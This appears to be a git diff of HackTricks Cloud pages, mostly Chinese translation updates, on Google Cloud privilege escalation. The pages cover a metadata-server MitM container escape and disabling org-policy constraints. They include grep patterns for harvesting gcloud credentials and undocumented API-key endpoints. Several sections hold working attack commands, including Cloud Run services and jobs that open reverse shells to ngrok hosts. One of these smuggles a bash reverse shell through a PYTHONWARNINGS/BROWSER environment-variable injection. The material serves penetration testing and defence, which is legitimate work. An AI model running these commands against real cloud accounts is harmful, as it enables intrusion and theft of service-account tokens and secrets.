Check the following permissions:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
@@ -42,20 +42,26 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy)
|
||||
|
||||
## 在文件系统中搜索密钥
|
||||
## Search for Keys in the filesystem
|
||||
|
||||
检查其他用户是否在盒子内登录了 gcloud 并将其凭据留在文件系统中:
|
||||
检查是否有其他用户在该机器内通过 gcloud 登录并将凭据留在文件系统中:
|
||||
|
||||
<details><summary>在文件系统中搜索 gcloud 凭据</summary>
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
这些是最有趣的文件:
|
||||
</details>
|
||||
|
||||
以下是最重要的文件:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### 更多 API 密钥正则表达式
|
||||
### 更多 API Keys 正则
|
||||
|
||||
<details><summary>用于 GCP 凭据和密钥的 Grep 模式</summary>
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
@@ -87,7 +93,9 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
## 参考
|
||||
</details>
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
|
||||
+33
-18
@@ -2,47 +2,62 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Initial State
|
||||
## 初始状态
|
||||
|
||||
在这两篇描述该技术的文章中,攻击者成功获得了在 GCP 管理的 **Docker** 容器内的 **root** 访问权限,并能够访问主机网络(以及 **`CAP_NET_ADMIN`** 和 **`CAP_NET_RAW`** 权限)。
|
||||
在两个描述此技术的 writeups 中,攻击者设法在由 GCP 管理、具有主机网络访问权限(以及能力 **`CAP_NET_ADMIN`** 和 **`CAP_NET_RAW`**)的 **Docker** 容器内获得了 **root** 访问权限。
|
||||
|
||||
## Attack Explanation
|
||||
## 攻击说明
|
||||
|
||||
在 Google Compute Engine 实例上,定期检查网络流量会发现大量对 **元数据实例** 的 **明文 HTTP 请求**,地址为 `169.254.169.254`。 [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent) 是一个开源服务,频繁发出此类请求。
|
||||
在 Google Compute Engine 实例上,常规的网络流量检查会发现大量针对元数据实例 `169.254.169.254` 的明文 **HTTP 请求**。[**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent)(开源服务)经常发出此类请求。
|
||||
|
||||
该代理旨在 **监控元数据的变化**。值得注意的是,元数据中包含 **SSH 公钥字段**。当新的公钥被添加到元数据时,代理会自动在 `.authorized_key` 文件中 **授权** 它。如果需要,它还可以 **创建新用户** 并将其添加到 **sudoers**。
|
||||
该 agent 旨在**监控元数据的更改**。值得注意的是,元数据包括一个用于 **SSH 公钥** 的字段。当新的公钥被添加到元数据中时,agent 会自动在 `.authorized_key` 文件中**授权**它。根据需要,它还可能**创建新用户**并将其添加到 **sudoers**。
|
||||
|
||||
该代理通过发送请求 **递归检索所有元数据值** (`GET /computeMetadata/v1/?recursive=true`) 来监控变化。该请求旨在促使元数据服务器仅在自上次检索以来元数据发生变化时发送响应,通过 Etag 进行识别 (`wait_for_change=true&last_etag=`)。此外,还包含一个 **超时** 参数 (`timeout_sec=`)。如果在指定的超时时间内没有发生变化,服务器将以 **未更改的值** 响应。
|
||||
agent 通过发送请求来检索**所有元数据值(递归)**(`GET /computeMetadata/v1/?recursive=true`)以监控更改。该请求被设计为仅在自上次检索以来元数据有更改时才让元数据服务器返回响应,这通过 Etag 来标识(`wait_for_change=true&last_etag=`)。此外,还包含一个 **timeout** 参数(`timeout_sec=`)。如果在指定的超时时间内没有发生更改,服务器会返回**未更改的值**。
|
||||
|
||||
这个过程允许 **IMDS**(实例元数据服务)在 **60 秒** 后响应,如果没有配置更改,创建一个潜在的 **注入假配置响应** 的窗口给来宾代理。
|
||||
该过程允许 IMDS(Instance Metadata Service)在没有配置更改的情况下在 **60 seconds** 后响应,从而产生一个可能的窗口,用以向 guest agent 注入伪造的配置响应。
|
||||
|
||||
攻击者可以通过执行 **中间人攻击(MitM)** 来利用这一点,伪造来自 IMDS 服务器的响应并 **插入新的公钥**。这可能使未经授权的 SSH 访问主机成为可能。
|
||||
攻击者可以通过实施中间人(Man-in-the-Middle, MitM)攻击来利用这一点,伪造来自 IMDS 服务器的响应并插入新的公钥。这样可能使攻击者获得对主机的未授权 SSH 访问。
|
||||
|
||||
### Escape Technique
|
||||
### 逃逸技术
|
||||
|
||||
虽然 ARP 欺骗在 Google Compute Engine 网络上无效,但 [**修改版的 rshijack**](https://github.com/ezequielpereira/rshijack) 由 [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) 开发,可以用于在通信中进行数据包注入,以注入 SSH 用户。
|
||||
虽然 **ARP spoofing** 在 Google Compute Engine 网络上无效,但可以使用 [**modified version of rshijack**](https://github.com/ezequielpereira/rshijack)(由 [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) 开发)对通信进行包注入,以注入 SSH 用户。
|
||||
|
||||
这个版本的 rshijack 允许将 ACK 和 SEQ 数字作为命令行参数输入,从而在真实的元数据服务器响应之前伪造响应。此外,使用 [**小 Shell 脚本**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) 返回 **特制的有效负载**。该有效负载触发 Google Guest Agent **创建一个名为 `wouter` 的用户**,并在 `.authorized_keys` 文件中指定公钥。
|
||||
该版本的 rshijack 允许将 ACK 和 SEQ 数值作为命令行参数输入,从而便于在真实 Metadata 服务器响应到达之前伪造响应。此外,使用了一个[**小型 Shell 脚本**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh)来返回**特制的 payload**。该 payload 会触发 Google Guest Agent **创建用户 `wouter`**,并在 `.authorized_keys` 文件中添加指定的公钥。
|
||||
|
||||
该脚本使用相同的 ETag,以防止元数据服务器立即通知 Google Guest Agent 不同的元数据值,从而延迟响应。
|
||||
该脚本使用相同的 ETag 以防止 Metadata 服务器立即向 Google Guest Agent 通知不同的元数据值,从而延迟响应。
|
||||
|
||||
要执行伪造,必须进行以下步骤:
|
||||
要执行该伪造,需进行以下步骤:
|
||||
|
||||
1. **使用 tcpdump 监控对元数据服务器的请求**:
|
||||
1. 使用 **tcpdump** 监控到 Metadata 服务器的请求:
|
||||
|
||||
<details>
|
||||
<summary>Monitor metadata server requests with tcpdump</summary>
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
请寻找类似于:
|
||||
</details>
|
||||
|
||||
查找类似于以下的行:
|
||||
|
||||
<details>
|
||||
<summary>tcpdump 示例输出行</summary>
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
2. 将伪造的元数据与正确的 ETAG 发送到 rshijack:
|
||||
</details>
|
||||
|
||||
2. 将伪造的 metadata 数据(带正确的 ETAG)发送到 rshijack:
|
||||
|
||||
<details>
|
||||
<summary>发送伪造的 metadata 并通过 SSH 连接主机</summary>
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
此步骤授权公钥,使得可以使用相应的私钥进行SSH连接。
|
||||
</details>
|
||||
|
||||
## 参考
|
||||
这一步授权了公钥,从而允许使用对应的私钥进行 SSH 连接。
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
|
||||
- [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
|
||||
|
||||
+21
-6
@@ -6,7 +6,10 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
利用 **orgpolicy.policy.set** 的攻击者可以操纵组织策略,从而移除阻碍特定操作的某些限制。例如,约束 **appengine.disableCodeDownload** 通常会阻止下载 App Engine 源代码。但是,通过使用 **orgpolicy.policy.set**,攻击者可以停用该约束,从而获得下载源代码的权限,即使该源代码在最初是受保护的。
|
||||
拥有 **orgpolicy.policy.set** 权限的攻击者可以操纵组织策略,从而移除阻碍特定操作的某些限制。例如,约束 **appengine.disableCodeDownload** 通常会阻止下载 App Engine 源代码。但是,攻击者可通过使用 **orgpolicy.policy.set** 来停用该约束,从而获得下载源代码的权限,即使原本受到了保护。
|
||||
|
||||
<details>
|
||||
<summary>获取 org policy 信息并禁用强制执行</summary>
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
用于此方法的 Python 脚本可在 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) 找到。
|
||||
</details>
|
||||
|
||||
用于此方法的 python 脚本可在 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) 找到。
|
||||
|
||||
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
|
||||
|
||||
通常无法将来自不同项目的服务账号附加到资源,因为存在名为 **`iam.disableCrossProjectServiceAccountUsage`** 的策略约束会阻止此操作。
|
||||
通常无法将来自不同项目的服务账号附加到资源上,因为存在一个名为 **`iam.disableCrossProjectServiceAccountUsage`** 的策略约束会阻止此操作。
|
||||
|
||||
可以通过运行以下命令来验证此约束是否已启用:
|
||||
可以通过运行以下命令来验证是否强制执行该约束:
|
||||
|
||||
<details>
|
||||
<summary>验证跨项目服务账号约束</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies describe \
|
||||
constraints/iam.disableCrossProjectServiceAccountUsage \
|
||||
@@ -31,14 +39,21 @@ booleanPolicy:
|
||||
enforced: true
|
||||
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
|
||||
```
|
||||
这会防止攻击者滥用权限 **`iam.serviceAccounts.actAs`** 去冒充来自其他项目的服务账户,在没有进一步基础设施权限(例如启动新的 VM)的情况下进行操作,从而导致权限提升。
|
||||
</details>
|
||||
|
||||
然而,拥有 **`orgpolicy.policy.set`** 权限的攻击者可以通过禁用约束 **`iam.disableServiceAccountProjectWideAccess`** 来绕过此限制。这样攻击者就可以将来自其他项目的服务账户附加到自己项目的资源上,从而有效地提升其权限。
|
||||
这可以阻止攻击者滥用权限 **`iam.serviceAccounts.actAs`** 来模拟来自其他项目的服务账号(例如在没有启动新 VM 等所需额外基础设施权限的情况下),从而可能导致权限提升。
|
||||
|
||||
但是,拥有 **`orgpolicy.policy.set`** 权限的攻击者可以通过禁用约束 **`iam.disableServiceAccountProjectWideAccess`** 来绕过此限制。这样攻击者就能将来自其他项目的服务账号附加到自己项目的资源上,从而实际提升其权限。
|
||||
|
||||
<details>
|
||||
<summary>禁用跨项目服务账号约束</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies disable-enforce \
|
||||
iam.disableCrossProjectServiceAccountUsage \
|
||||
--project=<project-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - 运行权限提升
|
||||
# GCP - Run Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Run
|
||||
|
||||
有关 Cloud Run 的更多信息,请查看:
|
||||
关于 Cloud Run 的更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,15 +12,18 @@
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
拥有这些权限的攻击者可以**创建一个运行任意代码的运行服务**(任意 Docker 容器),将服务账户附加到它,并使代码**从元数据中提取服务账户令牌**。
|
||||
拥有这些权限的攻击者可以**create a run service running arbitrary code**(任意 Docker 容器),将 Service Account 附加到其中,并使代码**exfiltrate the Service Account token from the metadata**。
|
||||
|
||||
此方法的利用脚本可以在[这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py)找到,Docker 镜像可以在[这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage)找到。
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
请注意,当使用 `gcloud run deploy` 而不是仅仅创建服务时,**它需要 `update` 权限**。请查看[**示例在这里**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh)。
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
与前一个类似,但更新服务:
|
||||
与前者类似,但更新已有服务:
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
授予自己对 Cloud Run 的先前权限。
|
||||
为自己授予对 Cloud Run 的权限。
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
启动一个带有反向 shell 的作业,以窃取命令中指示的服务账户。您可以在[**此处找到漏洞**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)。
|
||||
启动一个带 reverse shell 的 job 来窃取命令中指定的 service account。你可以在此找到一个 [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>创建带 reverse shell 的 Cloud Run job</summary>
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
与之前类似,可以**更新一个作业并更新服务账户**,**命令**并**执行它**:
|
||||
类似于前面的情况,可以**更新 job 并更新 SA**,修改 **command** 并**执行它**:
|
||||
|
||||
<details>
|
||||
<summary>更新 Cloud Run job 并使用 reverse shell 执行</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -64,17 +77,24 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
授予您对 Cloud Jobs 的先前权限。
|
||||
为自己授予对 Cloud Jobs 的先前权限。
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
利用作业执行的环境变量来执行任意代码并获取反向 shell,以转储容器的内容(源代码)并访问元数据中的 SA:
|
||||
滥用作业执行的环境变量以执行任意代码并获取 reverse shell,以转储容器的内容(源代码)并访问元数据中的 SA:
|
||||
|
||||
<details>
|
||||
<summary>使用环境变量利用执行 Cloud Run 作业</summary>
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
## 参考
|
||||
</details>
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
+11
-3
@@ -12,12 +12,16 @@
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
这使您可以访问从秘密管理器读取秘密,并且这可能有助于提升权限(取决于秘密中存储的信息):
|
||||
这会让你有权限从 secret manager 读取 secrets,并且可能有助于 escalate privielegs(取决于 secret 中存储的信息):
|
||||
|
||||
<details><summary>获取明文 secret 版本</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
作为这也是一种后期利用技术,它可以在以下位置找到:
|
||||
</details>
|
||||
|
||||
作为一种 post exploitation 技术,也可以在以下位置找到:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -25,10 +29,14 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
这使您可以访问从秘密管理器读取秘密,例如使用:
|
||||
这会允许你访问并读取 secret manager 中的 secrets,例如使用:
|
||||
|
||||
<details><summary>Add IAM policy binding to secret</summary>
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+21
-13
@@ -4,11 +4,11 @@
|
||||
|
||||
## serviceusage
|
||||
|
||||
以下权限对于创建和窃取 API 密钥非常有用,文档中提到:_API 密钥是一个简单的加密字符串,**在没有任何主体的情况下识别应用程序**。它们对于**匿名访问公共数据**非常有用,并用于**将** API 请求与您的项目关联,以便进行配额和**计费**。_
|
||||
下面的权限有助于创建和窃取 API keys,注意文档中的说明: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
因此,使用 API 密钥,您可以让公司为您使用 API 付费,但您将无法提升权限。
|
||||
因此,使用 API key 可以让目标公司为你使用 API 支付费用,但你无法利用它来提升权限。
|
||||
|
||||
要了解其他权限和生成 API 密钥的方法,请查看:
|
||||
要了解其他权限以及生成 API keys 的方法,请查看:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
@@ -16,37 +16,45 @@ gcp-apikeys-privesc.md
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
发现了一个未记录的 API,可以用来**创建 API 密钥:**
|
||||
发现了一个未记录的 API,可用于 **创建 API keys:**
|
||||
|
||||
<details><summary>使用未记录的 API 创建 API key</summary>
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
另一个未记录的 API 被发现,用于列出已经创建的 API 密钥(API 密钥出现在响应中):
|
||||
发现了另一个未记录的 API,用于列出已创建的 API 密钥(API 密钥出现在响应中):
|
||||
|
||||
<details><summary>使用未记录的 API 列出 API 密钥</summary>
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
通过这些权限,攻击者可以在项目中启用和使用新服务。这可能允许**攻击者启用如admin或cloudidentity的服务**,以尝试访问Workspace信息,或其他服务以访问有趣的数据。
|
||||
拥有这些权限时,attacker 可以在项目中启用并使用新的服务。这可能允许 attacker 启用像 admin 或 cloudidentity 这样的服务以尝试访问 Workspace 信息,或启用其他服务来访问有价值的数据。
|
||||
|
||||
## **References**
|
||||
## **参考资料**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>支持HackTricks并获得好处!</strong></summary>
|
||||
<summary><strong>支持 HackTricks 并获取福利!</strong></summary>
|
||||
|
||||
您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
你在一家 **网络安全公司** 工作吗?你想让你的 **公司在 HackTricks 上露出广告** 吗?还是你想获取 **最新版本的 PEASS 或以 PDF 下载 HackTricks**?查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
探索 [**The PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
|
||||
获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
获取 [**官方 PEASS & HackTricks 周边**](https://peass.creator-spring.com)
|
||||
|
||||
**加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或**在Twitter上关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) 或者 [**telegram group**](https://t.me/peass) 或 **关注** 我在 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**分享您的黑客技巧,提交PR到** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
**通过提交 PR 将你的 hacking tricks 分享到** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
|
||||
+30
-18
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 源代码库
|
||||
## Source Repositories
|
||||
|
||||
有关源代码库的更多信息,请查看:
|
||||
有关 Source Repositories 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
@@ -12,28 +12,32 @@
|
||||
|
||||
### `source.repos.get`
|
||||
|
||||
拥有此权限可以将存储库下载到本地:
|
||||
拥有此权限可以将仓库下载到本地:
|
||||
|
||||
<details><summary>Clone source repository</summary>
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
具有此权限的主体**将能够在使用 `gcloud source repos clone <repo>` 克隆的存储库中编写代码**。但请注意,此权限不能附加到自定义角色,因此必须通过预定义角色授予,例如:
|
||||
拥有此权限的主体 **将能够在通过 `gcloud source repos clone <repo>` 克隆的仓库中写入代码**。但请注意,此权限不能附加到自定义角色,只能通过如下预定义角色授予:
|
||||
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
要写入,只需执行常规的 **`git push`**。
|
||||
要写入代码,只需执行常规的 **`git push`**。
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
拥有此权限的攻击者可以授予自己之前的权限。
|
||||
拥有此权限的攻击者可以将之前的权限授予自己。
|
||||
|
||||
### Secret access
|
||||
|
||||
如果攻击者**访问存储令牌的秘密**,他将能够窃取它们。有关如何访问秘密的更多信息,请查看:
|
||||
如果攻击者**能够访问保存令牌的 secrets**,就可以窃取它们。关于如何访问 secret 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
@@ -41,39 +45,47 @@ gcp-secretmanager-privesc.md
|
||||
|
||||
### Add SSH keys
|
||||
|
||||
可以在网页控制台中**向源存储库项目添加 SSH 密钥**。它向 **`/v1/sshKeys:add`** 发出 POST 请求,并可以在 [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) 中进行配置。
|
||||
可以在 Web 控制台中**向 Source Repository 项目添加 ssh keys**。该操作会发出一个 POST 请求到 **`/v1/sshKeys:add`**,并且可以在 [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) 配置。
|
||||
|
||||
一旦设置了 SSH 密钥,您可以使用以下方式访问存储库:
|
||||
一旦设置了 ssh 密钥,你就可以通过以下方式访问仓库:
|
||||
|
||||
<details><summary>使用 SSH 克隆仓库</summary>
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
然后使用 **`git`** 命令,如往常一样。
|
||||
</details>
|
||||
|
||||
### 手动凭证
|
||||
然后按常规使用 **`git`** 命令。
|
||||
|
||||
可以创建手动凭证以访问源代码库:
|
||||
### Manual Credentials
|
||||
|
||||
可以创建手动凭证以访问 Source Repositories:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
点击第一个链接将引导您到 [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
点击第一个链接会将你引导到 [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
|
||||
这将提示一个 **Oauth 授权提示** 以授予对 **Google Cloud Development** 的访问权限。因此,您需要 **用户的凭证** 或 **浏览器中的开放会话**。
|
||||
它会弹出一个 **Oauth authorization prompt**,以授予对 **Google Cloud Development** 的访问。因此你需要 **用户的凭证** 或者 **浏览器中的已登录会话**。
|
||||
|
||||
这将把您发送到一个页面,包含一个 **bash 脚本以执行** 并在 **`$HOME/.gitcookies`** 中配置 git cookie。
|
||||
这会将你带到一个包含 **bash script to execute** 的页面,并在 **`$HOME/.gitcookies`** 配置一个 git cookie。
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
执行脚本后,您可以使用 git clone、push... 并且它将正常工作。
|
||||
执行该脚本后,你就可以使用 git clone、push 等操作,正常工作。
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
拥有此权限后,可以禁用源代码库的默认保护,以防上传包含私钥的代码:
|
||||
拥有此权限可以禁用 Source Repositories 的默认保护,从而允许上传包含 Private Keys 的代码:
|
||||
|
||||
<details><summary>Disable pushblock and modify pub/sub configuration</summary>
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
